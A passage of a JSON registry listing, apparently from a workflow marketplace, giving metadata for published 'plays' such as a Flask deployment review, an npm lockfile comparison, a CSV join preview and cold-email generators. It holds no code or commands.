a worked example: https://gotcomped.com","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-agent-operations","job-mistake-review","job-rule-drafting","audience-developers","effect-read-only","tool-claude-code","tool-codex"],"primary_domain":"domain-agent-operations","author":"rajkaria","version":"0.1.5","published_at":"2026-09-05T08:25:13.413367+00:00","visibility":"public","quality_score":1,"size_bytes":155529,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["read_codex","draft_rules","read_claude","merge_ledger","classify_turns"]},"parameters":[{"name":"days_back","type":"integer","required":false,"default":"14","description":"Filter on each record's own timestamp.","example":"14"},{"name":"out_dir","type":"string","required":false,"default":"~/comped","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/comped"},{"name":"claude_dir","type":"string","required":false,"default":"~/.claude/projects","description":"Set to resources/fixtures/claude for a demo run on synthetic logs.","example":"resources/fixtures/claude"},{"name":"codex_dir","type":"string","required":false,"default":"~/.codex/sessions","description":"Set to resources/fixtures/codex for a demo run on synthetic logs.","example":"resources/fixtures/codex"},{"name":"include_subagents","type":"string","required":false,"default":"true","description":"Claude Code subagent transcripts. true or false.","example":"true"},{"name":"min_recurrence","type":"integer","required":false,"default":"3","description":"How many times a mistake class must recur before it is reported; it also needs 2 sessions.","example":"3"},{"name":"show_snippets","type":"string","required":false,"default":"true","description":"true shows one redacted evidence line per class; false replaces it with (snippets hidden).","example":"true"},{"name":"rules_target","type":"string","required":false,"default":"both","description":"claude, agents or both. Drafts only; nothing is ever written to your rules files.","example":"both"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6530e3fb2ef8ae5364ad4802a6b5a5d8bd0b9aa7389b12b6f74a96567720fe84","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshyamniraula2/flask-deployment-review@0.1.0","reference":"sakshyamniraula2/flask-deployment-review@0.1.0","uri":"https://play.modiqo.ai/sakshyamniraula2/flask-deployment-review@0.1.0","manifest_uri":"https://play.modiqo.ai/sakshyamniraula2/flask-deployment-review@0.1.0","name":"flask-deployment-review","title":"flask-deployment-review","description":"Run a safe, read-only Python Flask deployment review and return a prioritized developer report.","owner":{"kind":"user","slug":"sakshyamniraula2"},"registry_organization":"sakshyamniraula2","tags":["python","flask"],"primary_domain":"domain-uncategorized","author":"Sakshyamniraula2","version":"0.1.0","published_at":"2026-09-05T07:29:11.125674+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3276,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["python3","python3_2"]},"parameters":[{"name":"project_path","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:67c06f6fe34432201d504db023d8b1802da408d91c8b686bad393956b18e0e61","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/npm-lockfile-change-impact@0.1.1","reference":"himanshu-jha/npm-lockfile-change-impact@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/npm-lockfile-change-impact@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/npm-lockfile-change-impact@0.1.1","name":"npm-lockfile-change-impact","title":"npm-lockfile-change-impact","description":"Compare two existing package-lock.json v2/v3 files before reviewing a dependency update. Lists added, removed, and changed package locations, version and install-script flag changes, and dependency paths connecting changed instances to root or workspace declarations. Saves Markdown and JSON in a new run-workspace directory. The two files are parsed independently in parallel. Source URLs and dependency specs are stored as hashes; unresolved edges remain explicit. This checks recorded dependency reachability, not live newest versions, vulnerability status, API compatibility, or npm installer behavior. Peer ranges and platform selection are not evaluated. Requires POSIX and Python 3.9+; accepts up to 8 MiB and 5000 package locations per file, with further graph and output limits. Restored results are labeled and do not imply fresh input checks.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["npm","comparison","audience-developers","domain-engineering","effect-local-artifacts","tool-cli"],"primary_domain":"domain-engineering","author":"himanshu-jha","version":"0.1.1","published_at":"2026-09-05T04:34:52.008806+00:00","visibility":"public","quality_score":1,"size_bytes":13918,"license":"MIT","stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["write_impact","read_baseline","read_candidate"]},"parameters":[{"name":"baseline","type":"string","required":true,"description":"Absolute path to the baseline native package-lock.json v2/v3 file. Symbolic path components are refused.","example":"/absolute/path/to/baseline.json"},{"name":"candidate","type":"string","required":true,"description":"Absolute path to the candidate native package-lock.json v2/v3 file. Original input files are preserved.","example":"/absolute/path/to/candidate.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1e1cef2cd9ab9f1045a4bfbd7341212be2fc7723d6e9ff110198273eccf0c0d6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/csv-join-loss-preview@0.1.0","reference":"himanshu-jha/csv-join-loss-preview@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/csv-join-loss-preview@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/csv-join-loss-preview@0.1.0","name":"csv-join-loss-preview","title":"csv-join-loss-preview","description":"Preview a join before combining two CSV exports. Supply the files and one or more key columns to get predicted inner, left and full-join row counts, dropped-record counts and duplicate-key fanout witnesses. Keys are exact strings, so 001 and 1 stay different. Choose whether empty key cells are unmatched, matched or rejected; NULL and whitespace remain literal values. Reports show bounded logical record numbers without raw cell values. UTF-8 BOMs and quoted newlines are supported; duplicate headers, ragged records and input limits fail explicitly. It writes JSON and Markdown reports into a new run-workspace directory, then rechecks both complete input hashes and report files. Inputs are read-only and no joined dataset is materialized. Requires Python 3.9+ on macOS or Linux.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-local-write","audience-data-analysts","domain-data","tool-python","job-data-validation","csv","joins"],"primary_domain":"domain-data","author":"himanshu748","version":"0.1.0","published_at":"2026-09-05T04:17:23.351645+00:00","visibility":"public","quality_score":1,"size_bytes":9742,"license":"MIT","stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["verify_join_report","prepare_join_preview"]},"parameters":[{"name":"left","type":"string","required":true,"description":"Absolute path to the left comma-separated UTF-8 CSV.","example":"/path/to/orders.csv"},{"name":"right","type":"string","required":true,"description":"Absolute path to the right comma-separated UTF-8 CSV.","example":"/path/to/customers.csv"},{"name":"left_keys","type":"string","required":true,"description":"CSV-formatted list of exact header names; quote names containing commas.","example":"customer_id"},{"name":"right_keys","type":"string","required":false,"default":"","description":"Same syntax as left_keys; empty uses the left key names.","example":"customer_id"},{"name":"empty_policy","type":"string","required":false,"default":"unmatched","description":"Policy for any empty key cell: unmatched, match, or error.","example":"unmatched"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1021d271f650a6434a9be9eed57daefa5e330deca36a78f311ced8de4940334b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/soumavadas/claim-source-check@0.1.0","reference":"soumavadas/claim-source-check@0.1.0","uri":"https://play.modiqo.ai/soumavadas/claim-source-check@0.1.0","manifest_uri":"https://play.modiqo.ai/soumavadas/claim-source-check@0.1.0","name":"claim-source-check","title":"claim-source-check","description":"Check whether a claim you heard traces back to a legitimate news source: searches for coverage, then fetches the top result directly to verify it's a real, byline'd, dated article.","owner":{"kind":"user","slug":"soumavadas"},"registry_organization":"soumavadas","tags":["news-verification","fact-check","source-legitimacy","misinformation-check","claim-check","explore","legitimate","source"],"primary_domain":"domain-uncategorized","author":"soumavadas","version":"0.1.0","published_at":"2026-09-05T02:24:05.713174+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2949,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["web_fetch_exa","web_search_exa"]},"parameters":[{"name":"claim","type":"string","required":true,"description":"The claim or news you heard, in your own words, to trace back to a legitimate source."},{"name":"verify_url","type":"string","required":false,"default":"https://www.bbc.com/news/articles/c6270030neyo","description":"A specific URL to fetch and verify directly (e.g. the top result from the search step). Defaults to a demo article; supply the real top result after reviewing the search step."}],"execution":{"adapters":[{"id":"soumavadas/exa-search-mcp","name":"exa-search-mcp","version":null,"credential_status":"none"},{"id":"exa-search-mcp","name":"exa-search-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b67d520be6242b5579f02186ab0fc341dee27b87089675dd008ee6727f3409f2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":2,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"exa-search-mcp","steps":2,"methods":["web_fetch_exa","web_search_exa"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"soumavadas/exa-search-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/soumavadas/product-price-check@0.1.0","reference":"soumavadas/product-price-check@0.1.0","uri":"https://play.modiqo.ai/soumavadas/product-price-check@0.1.0","manifest_uri":"https://play.modiqo.ai/soumavadas/product-price-check@0.1.0","name":"product-price-check","title":"product-price-check","description":"Search for and directly fetch a product line's official pricing page to find the current lowest-cost option (defaults to Raspberry Pi).","owner":{"kind":"user","slug":"soumavadas"},"registry_organization":"soumavadas","tags":["raspberry-pi","product-price","price-check","lowest-cost","hardware-shopping","explore","lowest","cost"],"primary_domain":"domain-uncategorized","author":"soumavadas","version":"0.1.0","published_at":"2026-09-05T01:57:30.688436+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2441,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["web_fetch_exa","web_search_exa"]},"parameters":[{"name":"product_query","type":"string","required":true,"description":"Play parameter"},{"name":"products_url","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[{"id":"soumavadas/exa-search-mcp","name":"exa-search-mcp","version":null,"credential_status":"none"},{"id":"exa-search-mcp","name":"exa-search-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a68ae9a5a4aeb919bb3dbfeb72687608458cf6d9252d73112a1b36c5fb269b07","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":2,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"exa-search-mcp","steps":2,"methods":["web_fetch_exa","web_search_exa"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"soumavadas/exa-search-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/soumavadas/traffic-check-tomtom@0.1.0","reference":"soumavadas/traffic-check-tomtom@0.1.0","uri":"https://play.modiqo.ai/soumavadas/traffic-check-tomtom@0.1.0","manifest_uri":"https://play.modiqo.ai/soumavadas/traffic-check-tomtom@0.1.0","name":"traffic-check-tomtom","title":"traffic-check-tomtom","description":"Check traffic congestion patterns for a city via web search and the TomTom Traffic Index page, to find the least-congested time of day (defaults to Bangalore, India).","owner":{"kind":"user","slug":"soumavadas"},"registry_organization":"soumavadas","tags":["traffic","bangalore","bengaluru","tomtom","commute-planning","city-congestion","explore","when","blr","less"],"primary_domain":"domain-uncategorized","author":"soumavadas","version":"0.1.0","published_at":"2026-09-05T01:52:44.919617+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2527,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["web_fetch_exa","web_search_exa"]},"parameters":[{"name":"city_query","type":"string","required":true,"description":"Play parameter"},{"name":"city_slug","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[{"id":"soumavadas/exa-search-mcp","name":"exa-search-mcp","version":null,"credential_status":"none"},{"id":"exa-search-mcp","name":"exa-search-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:705f03265795b6c55b2dddc3f34b1c92dd6b91f51e9cd4e1ebbcf84cbb258720","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":2,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"exa-search-mcp","steps":2,"methods":["web_fetch_exa","web_search_exa"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"soumavadas/exa-search-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/soumavadas/contact-followup-outreach@0.1.0","reference":"soumavadas/contact-followup-outreach@0.1.0","uri":"https://play.modiqo.ai/soumavadas/contact-followup-outreach@0.1.0","manifest_uri":"https://play.modiqo.ai/soumavadas/contact-followup-outreach@0.1.0","name":"contact-followup-outreach","title":"contact-followup-outreach","description":"Generate a follow-up email and a short phone/SMS-style callback message for someone who reached out via a contact form, with their name, phone, or email.","owner":{"kind":"user","slug":"soumavadas"},"registry_organization":"soumavadas","tags":["cold-email","contact-form","lead-followup","sales-outreach","sms-template","email-template","explore","send","mail","people","have","us","through","link","like","number"],"primary_domain":"domain-uncategorized","author":"soumavadas","version":"0.1.0","published_at":"2026-09-05T01:35:55.784294+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4923,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["draft_sms_followup","draft_email_followup"]},"parameters":[{"name":"recipient_name","type":"string","required":true,"description":"Play parameter"},{"name":"company_name","type":"string","required":true,"description":"Play parameter"},{"name":"sender_name","type":"string","required":true,"description":"Play parameter"},{"name":"contact_method","type":"string","required":true,"description":"Play parameter"},{"name":"inquiry_topic","type":"string","required":true,"description":"Play parameter"},{"name":"next_steps","type":"string","required":true,"description":"Play parameter"},{"name":"callback_phone","type":"string","required":false,"default":"","description":"Email variant only: a phone number to offer as a callback option (optional)."},{"name":"sender_signoff_title","type":"string","required":false,"default":"[Your Title]","description":"Email variant only: your job title for the signature (optional)."},{"name":"callback_window","type":"string","required":false,"default":"[a good time to call, e.g. this week]","description":"SMS variant only: a suggested time window for a callback (optional)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0dc906e5fee1045a09f8e5921c406ae93d6720a34fef52bac40afd8ca12b5a24","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/soumavadas/cold-email-hr-outreach@0.1.0","reference":"soumavadas/cold-email-hr-outreach@0.1.0","uri":"https://play.modiqo.ai/soumavadas/cold-email-hr-outreach@0.1.0","manifest_uri":"https://play.modiqo.ai/soumavadas/cold-email-hr-outreach@0.1.0","name":"cold-email-hr-outreach","title":"cold-email-hr-outreach","description":"Generate a personalized cold email to an HR contact requesting a referral or an interview, from a role/company/skills profile.","owner":{"kind":"user","slug":"soumavadas"},"registry_organization":"soumavadas","tags":["cold-email","hr-outreach","job-referral","job-interview","email-template","explore","hrs","seeking"],"primary_domain":"domain-uncategorized","author":"soumavadas","version":"0.1.0","published_at":"2026-09-05T01:24:56.496636+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5118,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["draft_referral_email","draft_interview_email"]},"parameters":[{"name":"sender_name","type":"string","required":true,"description":"Play parameter"},{"name":"target_role","type":"string","required":true,"description":"Play parameter"},{"name":"company_name","type":"string","required":true,"description":"Play parameter"},{"name":"recipient_name","type":"string","required":true,"description":"Play parameter"},{"name":"key_skill_1","type":"string","required":true,"description":"Play parameter"},{"name":"key_skill_2","type":"string","required":true,"description":"Play parameter"},{"name":"mutual_connection","type":"string","required":false,"default":"","description":"Referral email only: a shared contact who suggested reaching out (optional)."},{"name":"years_experience","type":"string","required":false,"default":"[X years]","description":"Interview email only: years of relevant experience (optional)."},{"name":"resume_link","type":"string","required":true,"description":"URL to resume or portfolio."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4b9e92d8618a3a4adbcb8dd1f1db0a337a7380bc5f4cc0cbad062b82dcc51dfc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/soumavadas/github-merged-prs-check@0.1.0","reference":"soumavadas/github-merged-prs-check@0.1.0","uri":"https://play.modiqo.ai/soumavadas/github-merged-prs-check@0.1.0","manifest_uri":"https://play.modiqo.ai/soumavadas/github-merged-prs-check@0.1.0","name":"github-merged-prs-check","title":"github-merged-prs-check","description":"Check whether any GitHub PRs you authored or were involved in were merged on a given date (defaults to today).","owner":{"kind":"user","slug":"soumavadas"},"registry_organization":"soumavadas","tags":["explore","github","pull-requests","merged","daily-check","s"],"primary_domain":"domain-uncategorized","author":"Soumavadas06","version":"0.1.0","published_at":"2026-09-05T00:56:21.976657+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3241,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["gh","gh_2"]},"parameters":[{"name":"date","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:832b2806dc74b11c451e7c89a2982e967213c1c294d79091aa0160b2f0c7445b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"gh","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/raghav/capture-session-architecture@0.1.0","reference":"raghav/capture-session-architecture@0.1.0","uri":"https://play.modiqo.ai/raghav/capture-session-architecture@0.1.0","manifest_uri":"https://play.modiqo.ai/raghav/capture-session-architecture@0.1.0","name":"capture-session-architecture","title":"capture-session-architecture","description":"Capture session architecture from rote workspace: tools called, errors, debug steps, action sequences","owner":{"kind":"user","slug":"raghav"},"registry_organization":"raghav","tags":[],"primary_domain":"domain-uncategorized","author":"unattributed: local","version":"0.1.0","published_at":"2026-09-04T22:21:45.205034+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4335,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["capture_and_save"]},"parameters":[{"name":"workspace","type":"string","required":false,"default":".","description":"Working directory for rote workspace"},{"name":"output_path","type":"string","required":false,"default":"./session-architecture.json","description":"Output path for architecture blueprint"},{"name":"include_errors","type":"boolean","required":false,"default":true,"description":"Include error and debug information in blueprint"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d4170e8359f747ae6dc00b0c762c12fec46b7c3991d182a64436f78bab8fa467","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/patrickmitchell/aeo-mcp-setup@1.0.0","reference":"patrickmitchell/aeo-mcp-setup@1.0.0","uri":"https://play.modiqo.ai/patrickmitchell/aeo-mcp-setup@1.0.0","manifest_uri":"https://play.modiqo.ai/patrickmitchell/aeo-mcp-setup@1.0.0","name":"aeo-mcp-setup","title":"aeo-mcp-setup","description":"Install the AEO Toolkit MCP server for Claude Desktop and Claude Code — three AI visibility tools via Model Context Protocol","owner":{"kind":"user","slug":"patrickmitchell"},"registry_organization":"patrickmitchell","tags":[],"primary_domain":"domain-uncategorized","author":"patrickmitchell","version":"1.0.0","published_at":"2026-09-04T18:39:12.345538+00:00","visibility":"public","quality_score":0.875,"size_bytes":136049,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["install"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:28fc206a3e69b0a07da33161cf57a9faf1a581dbf3474ffad7ce47f0fe8ad767","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/patrickmitchell/aeo-pipeline@2.0.3","reference":"patrickmitchell/aeo-pipeline@2.0.3","uri":"https://play.modiqo.ai/patrickmitchell/aeo-pipeline@2.0.3","manifest_uri":"https://play.modiqo.ai/patrickmitchell/aeo-pipeline@2.0.3","name":"aeo-pipeline","title":"aeo-pipeline","description":"AI readiness scan with interactive dashboard — visibility, content quality, agent readiness, and multi-agent intelligence in one command","owner":{"kind":"user","slug":"patrickmitchell"},"registry_organization":"patrickmitchell","tags":[],"primary_domain":"domain-uncategorized","author":"patrickmitchell","version":"2.0.3","published_at":"2026-09-04T18:24:56.540441+00:00","visibility":"public","quality_score":0.875,"size_bytes":52969,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["scan"]},"parameters":[{"name":"url","type":"string","required":true,"description":"Public URL to audit (homepage recommended)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:701c486bc6194de6c7723f3d023259aed0d242dc8ea3ed463e75eed23ec63065","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/frag2win/setup-express-project@1.0.0","reference":"frag2win/setup-express-project@1.0.0","uri":"https://play.modiqo.ai/frag2win/setup-express-project@1.0.0","manifest_uri":"https://play.modiqo.ai/frag2win/setup-express-project@1.0.0","name":"setup-express-project","title":"setup-express-project","description":"Create a data directory, install Express with npm, and initialize an index.js file.","owner":{"kind":"user","slug":"frag2win"},"registry_organization":"frag2win","tags":[],"primary_domain":"domain-uncategorized","author":"frag2win","version":"1.0.0","published_at":"2026-09-04T15:00:18.595436+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":1292,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:50442651ddce12248a4b23515c9605f7af746d8b092d77614b036f5332f1bd77","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/raghav/modiqo@0.1.0","reference":"raghav/modiqo@0.1.0","uri":"https://play.modiqo.ai/raghav/modiqo@0.1.0","manifest_uri":"https://play.modiqo.ai/raghav/modiqo@0.1.0","name":"modiqo","title":"modiqo","description":"Scan a project folder, detect languages, install compilers, configure Zed","owner":{"kind":"user","slug":"raghav"},"registry_organization":"raghav","tags":[],"primary_domain":"domain-uncategorized","author":"unattributed: 